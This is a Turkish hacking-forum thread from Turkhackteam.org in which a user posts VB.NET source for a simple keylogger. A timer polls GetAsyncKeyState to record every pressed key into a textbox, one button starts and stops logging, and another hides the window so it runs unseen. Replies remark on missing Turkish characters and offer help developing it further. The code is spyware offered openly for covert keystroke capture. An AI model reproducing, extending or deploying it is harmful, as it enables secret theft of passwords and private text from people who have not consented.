Basit Keylogger Kodları

K

kanonbat

Katılımcı Üye
18 Eyl 2012
425
0
Forma 2 buton 1 richtextbox 1timer ekleyin.
timer içine:
Kod: 
 Dim keys As Integer
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            keys = 0
            keys = GetAsyncKeyState(i)
            If keys = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next
Buton1 in içine:
Kod: 
If Timer1.Enabled = False Then
            Timer1.Enabled = True
            Button1.Text = "DURDUR"
        ElseIf Timer1.Enabled = True Then
            Timer1.Enabled = False
            Button1.Text = "BAŞLAT"
        End If
    End Sub
buton2nin içine:
Me.Hide()

buton 1 keyloggerı başlatır
buton 2 keylogger'ı gizler
 
K

kanonbat

Katılımcı Üye
18 Eyl 2012
425
0
biliyorum zaten keylogger yapılır ama türkçe karakterler yok
bide mesajını düzgün yazsan yani okuyamadım anlayamadım
 
R

ReaLHeeL

Üye
19 Nis 2012
61
0
Sağol Güzel Kodlar Geliştiriceksen Haber Ver Kahvedekileri çağırıp Geleyim :D Şaka Şaka Geliştiriceğin zaman Yardım Ederim :D
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.